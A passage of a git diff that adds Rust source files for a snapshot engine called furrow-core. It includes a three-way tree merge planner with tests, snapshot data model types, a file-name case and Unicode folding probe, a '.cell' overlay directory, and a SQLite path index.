ours_entry = ours_delta + .get(&path) + .map_or(base_entry, |delta| delta.after.as_ref()); + let theirs_entry = theirs_delta + .get(&path) + .map_or(base_entry, |delta| delta.after.as_ref()); + + if equivalent(ours_entry, theirs_entry) { + continue; + } + if equivalent(base_entry, ours_entry) { + changes.push(MergeChange { + path, + action: theirs_entry + .cloned() + .map_or(MergeAction::Remove, MergeAction::Set), + }); + continue; + } + if equivalent(base_entry, theirs_entry) { + continue; + } + conflicts.push(MergeConflict { + path, + kind: direct_conflict(base_entry, ours_entry, theirs_entry), + }); + } + + for (path, delta) in &ours_delta { + let Some(base_entry) = delta.before.as_ref() else { + continue; + }; + if base_entry.kind != EntryKind::Directory { + continue; + } + let ours_is_directory = delta + .after + .as_ref() + .is_some_and(|entry| entry.kind == EntryKind::Directory); + let theirs_entry = theirs_delta + .get(path) + .and_then(|delta| delta.after.as_ref()) + .unwrap_or(base_entry); + if !ours_is_directory + && theirs_entry.kind == EntryKind::Directory + && delta_has_descendant(&theirs_delta, path) + { + add_ancestor_conflict(&mut conflicts, path); + } + } + for (path, delta) in &theirs_delta { + let Some(base_entry) = delta.before.as_ref() else { + continue; + }; + if base_entry.kind != EntryKind::Directory { + continue; + } + let theirs_is_directory = delta + .after + .as_ref() + .is_some_and(|entry| entry.kind == EntryKind::Directory); + let ours_entry = ours_delta + .get(path) + .and_then(|delta| delta.after.as_ref()) + .unwrap_or(base_entry); + if !theirs_is_directory + && ours_entry.kind == EntryKind::Directory + && delta_has_descendant(&ours_delta, path) + { + add_ancestor_conflict(&mut conflicts, path); + } + } + + conflicts.sort_by(|left, right| left.path.cmp(&right.path)); + conflicts.dedup_by(|left, right| left.path == right.path); + changes.retain(|change| { + !conflicts.iter().any(|conflict| { + change.path == conflict.path || is_descendant(&change.path, &conflict.path) + }) + }); + Ok(MergePlan { changes, conflicts }) +} + +#[derive(Debug, Clone)] +struct Delta { + before: Option, + after: Option, +} + +fn collect_delta( + store: &ObjectStore, + before_root: &ObjectId, + after_root: &ObjectId, + prefix: &[u8], + output: &mut BTreeMap, Delta>, +) -> anyhow::Result<()> { + if before_root == after_root { + return Ok(()); + } + tree::diff_entries(store, before_root, after_root, &mut |before, after| { + let name = before + .as_ref() + .or(after.as_ref()) + .expect("tree diff always provides an entry") + .name + .clone(); + let path = join_path(prefix, &name); + match (&before, &after) { + (Some(left), Some(right)) + if left.kind == EntryKind::Directory && right.kind == EntryKind::Directory => + { + if !equivalent(Some(left), Some(right)) { + output.insert( + path.clone(), + Delta { + before: before.clone(), + after: after.clone(), + }, + ); + } + collect_delta( + store, + &left.target.expect("directory has a tree target"), + &right.target.expect("directory has a tree target"), + &path, + output, + )?; + } + _ => { + if !equivalent(before.as_ref(), after.as_ref()) { + output.insert( + path.clone(), + Delta { + before: before.clone(), + after: after.clone(), + }, + ); + } + if let Some(entry) = before + .as_ref() + .filter(|entry| entry.kind == EntryKind::Directory) + { + collect_subtree( + store, + &entry.target.expect("directory has a tree target"), + &path, + false, + output, + )?; + } + if let Some(entry) = after + .as_ref() + .filter(|entry| entry.kind == EntryKind::Directory) + { + collect_subtree( + store, + &entry.target.expect("directory has a tree target"), + &path, + true, + output, + )?; + } + } + } + Ok(()) + }) +} + +fn collect_subtree( + store: &ObjectStore, + root: &ObjectId, + prefix: &[u8], + added: bool, + output: &mut BTreeMap, Delta>, +) -> anyhow::Result<()> { + tree::for_each_entry(store, root, |entry| { + let path = join_path(prefix, &entry.name); + let delta = if added { + Delta { + before: None, + after: Some(entry.clone()), + } + } else { + Delta { + before: Some(entry.clone()), + after: None, + } + }; + output.insert(path.clone(), delta); + if entry.kind == EntryKind::Directory { + collect_subtree( + store, + &entry.target.expect("directory has a tree target"), + &path, + added, + output, + )?; + } + Ok(()) + }) +} + +fn join_path(prefix: &[u8], name: &[u8]) -> Vec { + if prefix.is_empty() { + return name.to_vec(); + } + let mut path = Vec::with_capacity(prefix.len() + 1 + name.len()); + path.extend_from_slice(prefix); + path.push(b'/'); + path.extend_from_slice(name); + path +} + +fn delta_has_descendant(deltas: &BTreeMap, Delta>, directory: &[u8]) -> bool { + deltas + .range(directory.to_vec()..) + .find(|(path, _)| path.as_slice() != directory) + .is_some_and(|(path, _)| is_descendant(path, directory)) +} + +fn add_ancestor_conflict(conflicts: &mut Vec, path: &[u8]) { + if !conflicts.iter().any(|conflict| conflict.path == path) { + conflicts.push(MergeConflict { + path: path.to_vec(), + kind: ConflictKind::Ancestor, + }); + } +} + +fn equivalent(left: Option<&TreeEntry>, right: Option<&TreeEntry>) -> bool { + match (left, right) { + (None, None) => true, + (Some(left), Some(right)) => { + let mut left = left.clone(); + let mut right = right.clone(); + left.mtime_secs = 0; + left.mtime_nanos = 0; + right.mtime_secs = 0; + right.mtime_nanos = 0; + if left.kind == EntryKind::Directory && right.kind == EntryKind::Directory { + left.target = None; + right.target = None; + } + left == right + } + _ => false, + } +} + +fn direct_conflict( + base: Option<&TreeEntry>, + ours: Option<&TreeEntry>, + theirs: Option<&TreeEntry>, +) -> ConflictKind { + if ours.is_none() || theirs.is_none() { + return ConflictKind::DeleteModify; + } + let ours = ours.expect("checked above"); + let theirs = theirs.expect("checked above"); + if ours.kind != theirs.kind || base.is_some_and(|entry| entry.kind != ours.kind) { + ConflictKind::Type + } else { + ConflictKind::ModifyModify + } +} + +fn subtree_changed( + base: &BTreeMap, TreeEntry>, + side: &BTreeMap, TreeEntry>, + directory: &[u8], +) -> bool { + base.iter() + .filter(|(path, _)| is_descendant(path, directory)) + .any(|(path, entry)| !equivalent(Some(entry), side.get(path))) + || side + .iter() + .filter(|(path, _)| is_descendant(path, directory)) + .any(|(path, entry)| !equivalent(base.get(path), Some(entry))) +} + +fn is_descendant(path: &[u8], ancestor: &[u8]) -> bool { + path.len() > ancestor.len() + && path.starts_with(ancestor) + && path.get(ancestor.len()) == Some(&b'/') +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::store::ObjectStore; + use crate::tree; + + fn file(byte: u8) -> TreeEntry { + TreeEntry { + name: vec![byte], + kind: EntryKind::File, + target: Some([byte; 32]), + link_target: Vec::new(), + mode: 0o100644, + size: 1, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: None, + class: Default::default(), + } + } + + fn directory(target: u8) -> TreeEntry { + TreeEntry { + name: b"dir".to_vec(), + kind: EntryKind::Directory, + target: Some([target; 32]), + link_target: Vec::new(), + mode: 0o40755, + size: 0, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: None, + class: Default::default(), + } + } + + fn named_file(name: &[u8], byte: u8) -> TreeEntry { + let mut entry = file(byte); + entry.name = name.to_vec(); + entry + } + + fn named_directory(name: &[u8], target: ObjectId) -> TreeEntry { + let mut entry = directory(0); + entry.name = name.to_vec(); + entry.target = Some(target); + entry + } + + fn assert_merkle_matches_flat( + store: &ObjectStore, + roots: [ObjectId; 3], + maps: [&BTreeMap, TreeEntry>; 3], + ) { + let expected = plan(maps[0], maps[1], maps[2]); + let actual = plan_trees(store, &roots[0], &roots[1], &roots[2]).unwrap(); + assert_eq!( + serde_json::to_value(actual).unwrap(), + serde_json::to_value(expected).unwrap() + ); + } + + #[test] + fn merges_independent_changes_and_ignores_directory_merkle_ids() { + let base = BTreeMap::from([ + (b"dir".to_vec(), directory(1)), + (b"dir/a".to_vec(), file(1)), + (b"dir/b".to_vec(), file(2)), + ]); + let mut ours = base.clone(); + ours.insert(b"dir".to_vec(), directory(2)); + ours.insert(b"dir/a".to_vec(), file(3)); + let mut theirs = base.clone(); + theirs.insert(b"dir".to_vec(), directory(3)); + theirs.insert(b"dir/b".to_vec(), file(4)); + + let plan = plan(&base, &ours, &theirs); + assert!(plan.conflicts.is_empty()); + assert_eq!(plan.changes.len(), 1); + assert_eq!(plan.changes[0].path, b"dir/b"); + } + + #[test] + fn reports_divergent_and_delete_modify_conflicts() { + let base = BTreeMap::from([(b"value".to_vec(), file(1))]); + let ours = BTreeMap::from([(b"value".to_vec(), file(2))]); + let theirs = BTreeMap::from([(b"value".to_vec(), file(3))]); + assert_eq!( + plan(&base, &ours, &theirs).conflicts[0].kind, + ConflictKind::ModifyModify + ); + assert_eq!( + plan(&base, &BTreeMap::new(), &theirs).conflicts[0].kind, + ConflictKind::DeleteModify + ); + } + + #[test] + fn identical_additions_with_different_timestamps_are_already_converged() { + let base = BTreeMap::new(); + let ours = BTreeMap::from([(b"coord/task".to_vec(), file(1))]); + let mut timestamped = file(1); + timestamped.mtime_secs = 42; + timestamped.mtime_nanos = 7; + let theirs = BTreeMap::from([(b"coord/task".to_vec(), timestamped)]); + + let plan = plan(&base, &ours, &theirs); + assert!(plan.conflicts.is_empty()); + assert!(plan.changes.is_empty()); + } + + #[test] + fn directory_delete_conflicts_with_new_descendant() { + let base = BTreeMap::from([ + (b"dir".to_vec(), directory(1)), + (b"dir/old".to_vec(), file(1)), + ]); + let ours = BTreeMap::new(); + let mut theirs = base.clone(); + theirs.insert(b"dir/new".to_vec(), file(2)); + theirs.insert(b"dir".to_vec(), directory(2)); + + let plan = plan(&base, &ours, &theirs); + assert!(plan + .conflicts + .iter() + .any(|conflict| conflict.path == b"dir")); + assert!(plan.changes.is_empty()); + } + + #[test] + fn merkle_planner_matches_flat_oracle_for_nested_changes_and_ancestor_conflicts() { + let temporary = tempfile::tempdir().unwrap(); + let store = ObjectStore::open(temporary.path().join("store")).unwrap(); + + let base_child = + tree::write(&store, vec![named_file(b"a", 1), named_file(b"b", 2)]).unwrap(); + let ours_child = + tree::write(&store, vec![named_file(b"a", 3), named_file(b"b", 2)]).unwrap(); + let theirs_child = tree::write( + &store, + vec![ + named_file(b"a", 1), + named_file(b"b", 4), + named_file(b"c", 5), + ], + ) + .unwrap(); + let roots = [ + tree::write(&store, vec![named_directory(b"dir", base_child)]).unwrap(), + tree::write(&store, vec![named_directory(b"dir", ours_child)]).unwrap(), + tree::write(&store, vec![named_directory(b"dir", theirs_child)]).unwrap(), + ]; + let base = BTreeMap::from([ + (b"dir".to_vec(), named_directory(b"dir", base_child)), + (b"dir/a".to_vec(), named_file(b"a", 1)), + (b"dir/b".to_vec(), named_file(b"b", 2)), + ]); + let ours = BTreeMap::from([ + (b"dir".to_vec(), named_directory(b"dir", ours_child)), + (b"dir/a".to_vec(), named_file(b"a", 3)), + (b"dir/b".to_vec(), named_file(b"b", 2)), + ]); + let theirs = BTreeMap::from([ + (b"dir".to_vec(), named_directory(b"dir", theirs_child)), + (b"dir/a".to_vec(), named_file(b"a", 1)), + (b"dir/b".to_vec(), named_file(b"b", 4)), + (b"dir/c".to_vec(), named_file(b"c", 5)), + ]); + assert_merkle_matches_flat(&store, roots, [&base, &ours, &theirs]); + + let deleted_root = tree::write(&store, Vec::new()).unwrap(); + let added_child = + tree::write(&store, vec![named_file(b"a", 1), named_file(b"new", 6)]).unwrap(); + let added_root = tree::write(&store, vec![named_directory(b"dir", added_child)]).unwrap(); + let deleted = BTreeMap::new(); + let added = BTreeMap::from([ + (b"dir".to_vec(), named_directory(b"dir", added_child)), + (b"dir/a".to_vec(), named_file(b"a", 1)), + (b"dir/new".to_vec(), named_file(b"new", 6)), + ]); + assert_merkle_matches_flat( + &store, + [roots[0], deleted_root, added_root], + [&base, &deleted, &added], + ); + } +} diff --git a/engine/furrow-core/src/model.rs b/engine/furrow-core/src/model.rs new file mode 100644 index 0000000000..4f61238d7d --- /dev/null +++ b/engine/furrow-core/src/model.rs @@ -0,0 +1,197 @@ +use crate::content_class::ContentClass; +use serde::{Deserialize, Serialize}; + +pub type ObjectId = [u8; 32]; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[repr(u8)] +pub enum ObjectKind { + Chunk = 1, + Blob = 2, + Tree = 3, + Snapshot = 4, + Xattrs = 5, +} + +impl ObjectKind { + pub fn from_u8(value: u8) -> Option { + match value { + 1 => Some(Self::Chunk), + 2 => Some(Self::Blob), + 3 => Some(Self::Tree), + 4 => Some(Self::Snapshot), + 5 => Some(Self::Xattrs), + _ => None, + } + } + + pub fn domain(self) -> &'static [u8] { + match self { + Self::Chunk => b"furrow:chunk:v1\0", + Self::Blob => b"furrow:blob:v1\0", + Self::Tree => b"furrow:tree:v1\0", + Self::Snapshot => b"furrow:snapshot:v1\0", + Self::Xattrs => b"furrow:xattrs:v1\0", + } + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ChunkRef { + pub id: ObjectId, + pub len: u32, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct Blob { + pub chunks: Vec, + pub total_len: u64, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub enum EntryKind { + File, + Directory, + Symlink, + Fifo, + SocketMarker, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct TreeEntry { + #[serde(with = "serde_bytes")] + pub name: Vec, + pub kind: EntryKind, + pub target: Option, + #[serde(default, with = "serde_bytes")] + pub link_target: Vec, + pub mode: u32, + pub size: u64, + pub mtime_secs: i64, + pub mtime_nanos: u32, + pub xattrs: Option, + #[serde(default)] + pub class: ContentClass, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct Tree { + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub entries: Vec, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub pages: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct TreePage { + #[serde(with = "serde_bytes")] + pub first_name: Vec, + #[serde(with = "serde_bytes")] + pub last_name: Vec, + pub entry_count: u64, + pub target: ObjectId, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub enum SealQuality { + Quiescent, + Turbulent, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub enum SnapshotTrigger { + Initial, + Manual, + Watcher, + PreRewind, + ForkBase, + AgentRun, + MergeSource, + PreMerge, + Merge, + SyncLocal, + SyncPush, + SyncPull, + Inspection, + Claim, + Release, + Coord, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ClaimRecord { + pub id: String, + pub pattern: String, + pub owner: String, + pub workspace_id: String, + pub created_at: i64, + pub expires_at: i64, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct Snapshot { + pub root_tree: ObjectId, + pub parent: Option, + #[serde(default)] + pub merge_parents: Vec, + pub sealed_at_secs: i64, + pub sealed_at_nanos: u32, + pub quality: SealQuality, + pub trigger: SnapshotTrigger, + pub label: Option, + #[serde(default)] + pub sqlite_backups: Vec, + #[serde(default)] + pub claims: Vec, + #[serde(default)] + pub excluded_paths: Vec, + /// Sets of two or more paths of this snapshot that were one file on disk + /// (one inode). Absent from snapshots that hold none, and from every + /// snapshot sealed before links were recorded, so those keep their IDs. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub hardlinks: Vec, +} + +/// Paths that were hard links of one another when the snapshot was sealed, +/// in bytewise order. The group names no inode, because an inode number means +/// nothing on another machine. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct LinkGroup { + pub paths: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct SqliteBackup { + #[serde(with = "serde_bytes")] + pub path: Vec, + pub blob: ObjectId, + pub integrity_ok: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct XattrEntry { + #[serde(with = "serde_bytes")] + pub name: Vec, + #[serde(with = "serde_bytes")] + pub value: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct Xattrs { + pub entries: Vec, +} + +pub fn id_hex(id: &ObjectId) -> String { + hex::encode(id) +} + +pub fn parse_id(value: &str) -> anyhow::Result { + let bytes = hex::decode(value)?; + anyhow::ensure!( + bytes.len() == 32, + "snapshot ID must contain 64 hexadecimal characters" + ); + let mut id = [0_u8; 32]; + id.copy_from_slice(&bytes); + Ok(id) +} diff --git a/engine/furrow-core/src/name_fold.rs b/engine/furrow-core/src/name_fold.rs new file mode 100644 index 0000000000..d04a98c54a --- /dev/null +++ b/engine/furrow-core/src/name_fold.rs @@ -0,0 +1,142 @@ +//! Names that one file system keeps apart and another folds into one. +//! +//! Linux keeps `README.md` and `Readme.md` as two files, and `café` spelled +//! with one code point apart from `café` spelled with two. A case-insensitive +//! file system (APFS on a Mac by default) or a normalizing one keeps one of each +//! pair. Writing both there makes the second write land on the first file, so +//! a restore that wrote the whole tree would either overwrite one copy or fail +//! its own check afterwards. The restore therefore asks the file system it is +//! about to write into how it folds names, and keeps one copy of each such pair. +//! +//! The copy kept is the one whose name sorts first byte for byte, which is the +//! order every tree lists its entries in: the choice depends on the names alone, +//! so every machine that restores the same snapshot keeps the same copy. + +use std::fs; +use std::path::Path; +use unicode_normalization::UnicodeNormalization; + +/// Test-only switch that stands in for the probe: `case`, `unicode`, or both +/// separated by a comma. It lets a Linux test restore as a Mac would. +pub const TEST_ENV: &str = "FURROW_TEST_NAME_FOLDING"; + +/// How the file system under a folder folds names. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub struct NameFolding { + /// Names that differ only in letter case are one name. + pub case: bool, + /// Names that differ only in Unicode normalization form are one name. + pub unicode: bool, +} + +impl NameFolding { + /// What the file system holding `dir` does, found by making two probe files + /// there. A file system that cannot be probed counts as keeping every name. + pub fn probe(dir: &Path) -> Self { + if let Some(forced) = std::env::var_os(TEST_ENV) { + return Self::from_spec(&forced.to_string_lossy()); + } + Self { + case: folds(dir, ".furrow-fold-Aa", ".furrow-fold-aA"), + unicode: folds(dir, ".furrow-fold-\u{e9}", ".furrow-fold-e\u{301}"), + } + } + + fn from_spec(spec: &str) -> Self { + Self { + case: spec.split(',').any(|part| part.trim() == "case"), + unicode: spec.split(',').any(|part| part.trim() == "unicode"), + } + } + + /// Whether any pair of names can collide here. + pub fn is_active(&self) -> bool { + self.case || self.unicode + } + + /// The spelling every name of one folded group shares. A name that is not + /// text is its own key: no file system folds raw bytes. + pub fn key(&self, name: &[u8]) -> Vec { + let Ok(text) = std::str::from_utf8(name) else { + return name.to_vec(); + }; + let text: String = if self.unicode { + text.nfd().collect() + } else { + text.to_owned() + }; + if self.case { + text.to_lowercase().into_bytes() + } else { + text.into_bytes() + } + } +} + +/// Whether creating `first` in `dir` makes `second` exist too. +fn folds(dir: &Path, first: &str, second: &str) -> bool { + let created = dir.join(first); + if fs::write(&created, b"").is_err() { + return false; + } + let same = fs::symlink_metadata(dir.join(second)).is_ok(); + let _ = fs::remove_file(&created); + same +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn case_folding_joins_names_that_differ_only_in_case() { + let folding = NameFolding { + case: true, + unicode: false, + }; + assert_eq!(folding.key(b"README.md"), folding.key(b"Readme.md")); + assert_ne!(folding.key(b"a"), folding.key(b"b")); + } + + #[test] + fn unicode_folding_joins_composed_and_decomposed_spellings() { + let folding = NameFolding { + case: false, + unicode: true, + }; + assert_eq!( + folding.key("caf\u{e9}".as_bytes()), + folding.key("cafe\u{301}".as_bytes()) + ); + assert_ne!(folding.key(b"Readme"), folding.key(b"readme")); + } + + #[test] + fn a_case_sensitive_plain_file_system_joins_nothing() { + let folding = NameFolding::default(); + assert!(!folding.is_active()); + assert_ne!(folding.key(b"A"), folding.key(b"a")); + } + + #[test] + fn spec_names_the_behaviours() { + assert_eq!( + NameFolding::from_spec("case, unicode"), + NameFolding { + case: true, + unicode: true + } + ); + assert_eq!(NameFolding::from_spec(""), NameFolding::default()); + } + + #[test] + fn probe_of_a_linux_temp_folder_finds_no_folding() { + let dir = tempfile::tempdir().unwrap(); + if std::env::var_os(TEST_ENV).is_none() { + let found = NameFolding::probe(dir.path()); + // tmpfs and ext4 keep both names; a developer on a Mac sees folding. + assert_eq!(found.is_active(), cfg!(target_os = "macos")); + } + } +} diff --git a/engine/furrow-core/src/overlay.rs b/engine/furrow-core/src/overlay.rs new file mode 100644 index 0000000000..e9e343b37d --- /dev/null +++ b/engine/furrow-core/src/overlay.rs @@ -0,0 +1,147 @@ +//! A directory that lives outside the workspace but is sealed as part of it. +//! +//! The overlay stands for the tree entry [`NAME`]: sealing composes it into +//! the workspace's tree, and restoring puts it back wherever the caller says. +//! Everything that walks the tree asks the overlay to translate between a +//! tree-relative path and the place that path really lives. + +use std::ffi::OsString; +use std::os::unix::ffi::{OsStrExt, OsStringExt}; +use std::path::{Path, PathBuf}; + +/// Name of the composed entry at the top of the sealed tree. +pub const NAME: &[u8] = b".cell"; + +#[derive(Debug, Clone)] +pub struct Overlay { + source: PathBuf, +} + +impl Overlay { + pub fn new(source: PathBuf) -> Self { + Self { source } + } + + pub fn source(&self) -> &Path { + &self.source + } + + /// The tree-relative path of `path` when it lies inside the overlay. + pub fn logical(&self, path: &Path) -> Option> { + let rest = path.strip_prefix(&self.source).ok()?; + let mut logical = NAME.to_vec(); + if !rest.as_os_str().is_empty() { + logical.push(b'/'); + logical.extend_from_slice(rest.as_os_str().as_bytes()); + } + Some(logical) + } + + /// Where a tree-relative path inside the overlay really lives. + pub fn physical(&self, relative: &[u8]) -> Option { + let rest = relative.strip_prefix(NAME)?; + match rest.split_first() { + None => Some(self.source.clone()), + Some((b'/', tail)) => Some(self.source.join(OsString::from_vec(tail.to_vec()))), + Some(_) => None, + } + } +} + +/// Merges the overlay's name into a bytewise-sorted stream of directory names, +/// replacing any real entry of the same name. +pub struct WithOverlay { + names: std::iter::Peekable, + pending: bool, +} + +impl WithOverlay +where + I: Iterator>, +{ + pub fn new(names: I) -> Self { + Self { + names: names.peekable(), + pending: true, + } + } +} + +impl Iterator for WithOverlay +where + I: Iterator>, +{ + type Item = Result; + + fn next(&mut self) -> Option { + loop { + let ahead = match self.names.peek() { + Some(Ok(name)) => Some(name.as_bytes().cmp(NAME)), + Some(Err(_)) => return self.names.next(), + None => None, + }; + match ahead { + Some(std::cmp::Ordering::Equal) => { + self.names.next(); + } + Some(std::cmp::Ordering::Less) => return self.names.next(), + _ if self.pending => { + self.pending = false; + return Some(Ok(OsString::from_vec(NAME.to_vec()))); + } + _ => return self.names.next(), + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn names(input: &[&str]) -> Vec { + let stream = input.iter().map(|name| Ok::<_, ()>(OsString::from(name))); + WithOverlay::new(stream) + .map(|name| name.unwrap().to_string_lossy().into_owned()) + .collect() + } + + #[test] + fn the_overlay_name_lands_in_sorted_position() { + assert_eq!(names(&[]), [".cell"]); + assert_eq!(names(&["a", "b"]), [".cell", "a", "b"]); + assert_eq!( + names(&[".a", ".cellx", "z"]), + [".a", ".cell", ".cellx", "z"] + ); + assert_eq!(names(&["!", "a"]), ["!", ".cell", "a"]); + } + + #[test] + fn a_real_entry_of_the_same_name_is_replaced() { + assert_eq!(names(&[".cell", "a"]), [".cell", "a"]); + } + + #[test] + fn paths_translate_both_ways() { + let overlay = Overlay::new(PathBuf::from("/private/cell")); + assert_eq!( + overlay.logical(Path::new("/private/cell/log/a")).unwrap(), + b".cell/log/a" + ); + assert_eq!( + overlay.logical(Path::new("/private/cell")).unwrap(), + b".cell" + ); + assert!(overlay.logical(Path::new("/work/a")).is_none()); + assert_eq!( + overlay.physical(b".cell/log/a").unwrap(), + PathBuf::from("/private/cell/log/a") + ); + assert_eq!( + overlay.physical(b".cell").unwrap(), + PathBuf::from("/private/cell") + ); + assert!(overlay.physical(b".cellar/a").is_none()); + } +} diff --git a/engine/furrow-core/src/path_index.rs b/engine/furrow-core/src/path_index.rs new file mode 100644 index 0000000000..0ebea33acc --- /dev/null +++ b/engine/furrow-core/src/path_index.rs @@ -0,0 +1,439 @@ +//! Rebuildable disk-backed path state for delta-only directory sealing. + +use crate::model::{EntryKind, ObjectId, TreeEntry}; +use anyhow::Context; +use rusqlite::config::DbConfig; +use rusqlite::{params, Connection, OptionalExtension}; +use std::path::Path; +use std::time::Duration; + +pub const CHILD_BATCH: usize = 512; + +pub struct PathIndex { + connection: Connection, + transaction_active: bool, +} + +#[derive(Debug, Clone, Copy, Default)] +pub struct PathUsage { + pub files: u64, + pub directories: u64, + pub symlinks: u64, + pub fifos: u64, + pub special: u64, + pub logical_bytes: u64, +} + +impl PathIndex { + pub fn open(path: &Path) -> anyhow::Result { + let connection = Connection::open(path)?; + // The index is rebuildable, so closing it need not pay two syncs to + // fold its log back into the database: the log is folded in when it + // grows, and every open reads through it. + connection.set_db_config(DbConfig::SQLITE_DBCONFIG_NO_CKPT_ON_CLOSE, true)?; + connection.execute_batch( + "PRAGMA journal_mode=WAL; + PRAGMA synchronous=NORMAL; + PRAGMA temp_store=MEMORY;", + )?; + crate::sqlite_adapter::fold_oversized_wal(&connection, path)?; + connection.execute_batch( + "CREATE TABLE IF NOT EXISTS entries ( + path BLOB PRIMARY KEY, + parent BLOB NOT NULL, + name BLOB NOT NULL, + entry BLOB NOT NULL + ) WITHOUT ROWID; + CREATE INDEX IF NOT EXISTS entries_parent_name + ON entries(parent, name); + CREATE TABLE IF NOT EXISTS links ( + path BLOB PRIMARY KEY, + device INTEGER NOT NULL, + inode INTEGER NOT NULL + ) WITHOUT ROWID; + CREATE INDEX IF NOT EXISTS links_identity ON links(device, inode); + CREATE TABLE IF NOT EXISTS state ( + singleton INTEGER PRIMARY KEY CHECK(singleton = 1), + root_tree BLOB NOT NULL, + generation TEXT NOT NULL + );", + )?; + let has_generation: bool = connection.query_row( + "SELECT EXISTS( + SELECT 1 FROM pragma_table_info('state') WHERE name = 'generation' + )", + [], + |row| row.get(0), + )?; + if !has_generation { + connection.execute( + "ALTER TABLE state ADD COLUMN generation TEXT NOT NULL DEFAULT ''", + [], + )?; + } + Ok(Self { + connection, + transaction_active: false, + }) + } + + pub fn begin(&mut self) -> anyhow::Result<()> { + anyhow::ensure!(!self.transaction_active, "path-index transaction is active"); + self.connection.execute_batch("BEGIN IMMEDIATE")?; + self.transaction_active = true; + Ok(()) + } + + pub fn backup_to(&self, path: &Path) -> anyhow::Result<()> { + let mut destination = Connection::open(path)?; + let backup = rusqlite::backup::Backup::new(&self.connection, &mut destination)?; + backup.run_to_completion(256, Duration::from_millis(1), None)?; + Ok(()) + } + + pub fn commit(&mut self) -> anyhow::Result<()> { + anyhow::ensure!( + self.transaction_active, + "path-index transaction is not active" + ); + self.connection.execute_batch("COMMIT")?; + self.transaction_active = false; + Ok(()) + } + + pub fn rollback(&mut self) -> anyhow::Result<()> { + if self.transaction_active { + self.connection.execute_batch("ROLLBACK")?; + self.transaction_active = false; + } + Ok(()) + } + + pub fn reset(&self) -> anyhow::Result<()> { + self.connection.execute("DELETE FROM entries", [])?; + self.connection.execute("DELETE FROM links", [])?; + self.connection.execute("DELETE FROM state", [])?; + Ok(()) + } + + pub fn upsert(&self, path: &[u8], parent: &[u8], entry: &TreeEntry) -> anyhow::Result<()> { + self.connection.execute( + "INSERT INTO entries(path, parent, name, entry) VALUES(?1, ?2, ?3, ?4) + ON CONFLICT(path) DO UPDATE SET + parent=excluded.parent, + name=excluded.name, + entry=excluded.entry", + params![path, parent, &entry.name, serde_json::to_vec(entry)?], + )?; + Ok(()) + } + + pub fn entry(&self, path: &[u8]) -> anyhow::Result> { + let bytes: Option> = self + .connection + .query_row( + "SELECT entry FROM entries WHERE path = ?1", + params![path], + |row| row.get(0), + ) + .optional()?; + bytes + .map(|bytes| serde_json::from_slice(&bytes).context("decode indexed tree entry")) + .transpose() + } + + pub fn remove_subtree(&self, path: &[u8]) -> anyhow::Result { + const DESCENDANTS: &str = "WITH RECURSIVE descendants(path) AS ( + SELECT path FROM entries WHERE path = ?1 + UNION ALL + SELECT child.path + FROM entries child JOIN descendants parent ON child.parent = parent.path + )"; + // The link rows go first, while the entries that name the subtree exist. + self.connection.execute( + &format!("{DESCENDANTS} DELETE FROM links WHERE path IN descendants"), + params![path], + )?; + let removed = self.connection.execute( + &format!("{DESCENDANTS} DELETE FROM entries WHERE path IN descendants"), + params![path], + )?; + Ok(removed as u64) + } + + /// Notes which file `path` is on disk when it shares that file with another + /// directory entry (`identity` is its device and inode), and forgets the + /// note when it does not. Two paths are one file when both notes agree. + pub fn note_link(&self, path: &[u8], identity: Option<(u64, u64)>) -> anyhow::Result<()> { + match identity { + Some((device, inode)) => self.connection.execute( + "INSERT OR REPLACE INTO links(path, device, inode) VALUES(?1, ?2, ?3)", + params![path, device as i64, inode as i64], + )?, + None => self + .connection + .execute("DELETE FROM links WHERE path = ?1", params![path])?, + }; + Ok(()) + } + + /// The device and inode noted for `path`, when it shares its file. + pub fn link_identity(&self, path: &[u8]) -> anyhow::Result> { + Ok(self + .connection + .query_row( + "SELECT device, inode FROM links WHERE path = ?1", + params![path], + |row| Ok((row.get::<_, i64>(0)? as u64, row.get::<_, i64>(1)? as u64)), + ) + .optional()?) + } + + /// True when `path` shares its file with something and no other path of + /// the index is known to be that file. After an incremental capture this + /// means its siblings were not looked at, because nothing told us they + /// changed when the link was made. + pub fn link_has_no_known_sibling(&self, path: &[u8]) -> anyhow::Result { + Ok(self.connection.query_row( + "SELECT EXISTS(SELECT 1 FROM links mine WHERE mine.path = ?1) + AND NOT EXISTS( + SELECT 1 FROM links mine JOIN links other + ON other.device = mine.device AND other.inode = mine.inode + AND other.path <> mine.path + WHERE mine.path = ?1)", + params![path], + |row| row.get(0), + )?) + } + + /// The paths that share a file with another path of the index, as sets in + /// bytewise order of their first path. A file linked to something outside + /// the tree (the store, another folder) is alone here and is not a group. + pub fn link_groups(&self) -> anyhow::Result>>> { + let mut statement = self.connection.prepare( + "SELECT device, inode, path FROM links + WHERE (device, inode) IN ( + SELECT device, inode FROM links GROUP BY device, inode HAVING 